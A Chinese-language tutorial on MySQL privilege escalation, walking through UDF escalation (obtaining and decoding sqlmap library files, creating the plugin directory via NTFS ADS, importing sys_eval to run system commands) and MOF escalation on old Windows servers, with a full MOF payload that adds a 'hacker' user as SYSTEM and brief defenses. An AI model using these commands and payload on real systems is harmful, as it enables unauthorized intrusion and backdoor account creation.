UDF提权与MOF提权
话不多说,直接上过程
一、UDF提权
MYSQL提供了一项正常的功能拓展,那就是允许使用用户自定义的函数。利用这一特性,我们便能在sqlshell的基础上获取到osshell
通过自定义mysql函数,对mysql的功能进行扩充,添加的函数可以像mysql的内置函数一样被调用执行,mysql的用户自定义函数存放mysql根目录下的/mysql/lib/plugin
里面,这里面存储着mysql的动态链接库文件。我们将自定义的库文件放进去后,还要在mysql中执行create FUNVTION function_name RETURNS STRING SONAME 'udf.dll'
命令将该库文件中的函数导入,才能使用该函数,就像python里面的导入模块、方法一样。
1.1 条件
- 动态连接库文件
这个udf.dll
不需要我们自己编写,我们也没有哪个本事,可以利用sqlmap为我们提供的。 - webshell
进行udf提权的前提是我们已经获得了一个网站的webshell了. - root用户名密码
获得webshell后,我们需要在网站的一些敏感文件里面寻找数据库文件的用户名密码,如像config.php connect.php
这类文件。 - 对数据库插件目录的写权限
1.2 动态链接库文件获取
我们从两个地方获取动态链接库文件
- sqlmap
/usr/share/sqlmap/data/udf/mysql/linux/64/
sqlmap中的四个动态链接库文件是加过密的,需要在/sqlmap/extra/cloak
目录下执行下面命令才能生效。
python .\cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so
- metesploit
/usr/share/metasploit-framework/data/exploits/mysql
1.3 查看插件目录位置
我的试验环境kali的目录为/usr/lib/x86_64-linux-gun/mariadb19/plugin
也可以通过在sqlshell中执行
select @@plugin_dir
插件目录默认是不存在的,需要我们手动创建,但是sql用户往往并不具备创建文件夹的权限,故在windows系统下,可以通过ads备份文档流的方式绕过。linux系统就狗带
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
1.4 动态连接库文件导入
我只是在本机上验证这种方法是否有效,所以没有模拟真实网络环境,真实环境是需要通过sqlshell创建文件,将我们的so文件内容写道文件中去的。这里我们直接将动态链接库文件复制到插件目录
1.5 将函数导入mysql
只是将动态链接库放到插件目录中是不够的,我们还需要将其中我们要使用的函数,导入到mysql中才能生效。首先我们使用ida产看该so文件中有哪写函数
上图函数具体的用法,自行百度。这里我们使用sys_eval,该函数可是使我们执行系统命令
然后我们导入该函数
查看命令执行效果
可以看到成功执行了系统命令
二、MOF提权
2.1 利用条件
必须在windows server 2003以下版本的服务器才能成功执行
2.2 利用过程
c:\windows\system32\wbem\mof\nullevt.mof
每隔一分钟就会以System身份执行一次,于是我们想办法将这个文件替换掉成我们想要的代码就ok了。那么要首先提权,我们就必须要满足以下的条件
首先我么们已经获取了以root权限运行的sqlshell,root用户读该目录具有写的权限,apache的secure-file-priv处于没有对访问目录做限制。
我们可以用以下命令查看
show global variables like '%secure_file_priv%'
如果上述条件满足则可以尝试执行
select load_file('mof提权文件路径') into dumpfile 'c:\windows\system32\wbem\mof\nullevt.mof'
网上公开的mof文件内容
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker 123456 /add\")";
//cmd以system权限执行的语句
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.3 防御方法
- 限制mysql的访问
- 不要以root用户身份登录
- 设置该目录为不可写
三、其他提权方式
3.1 启动项提权
一样对的配方,只需要将文件放到操作系统的开启自启执行路径里面就可以了。
3.2 反弹shell
话不多说,贼简单
3.3 缓冲区溢出
吱个我还真不太清楚
3.4 暴力登录
先尝试登录个一万次试试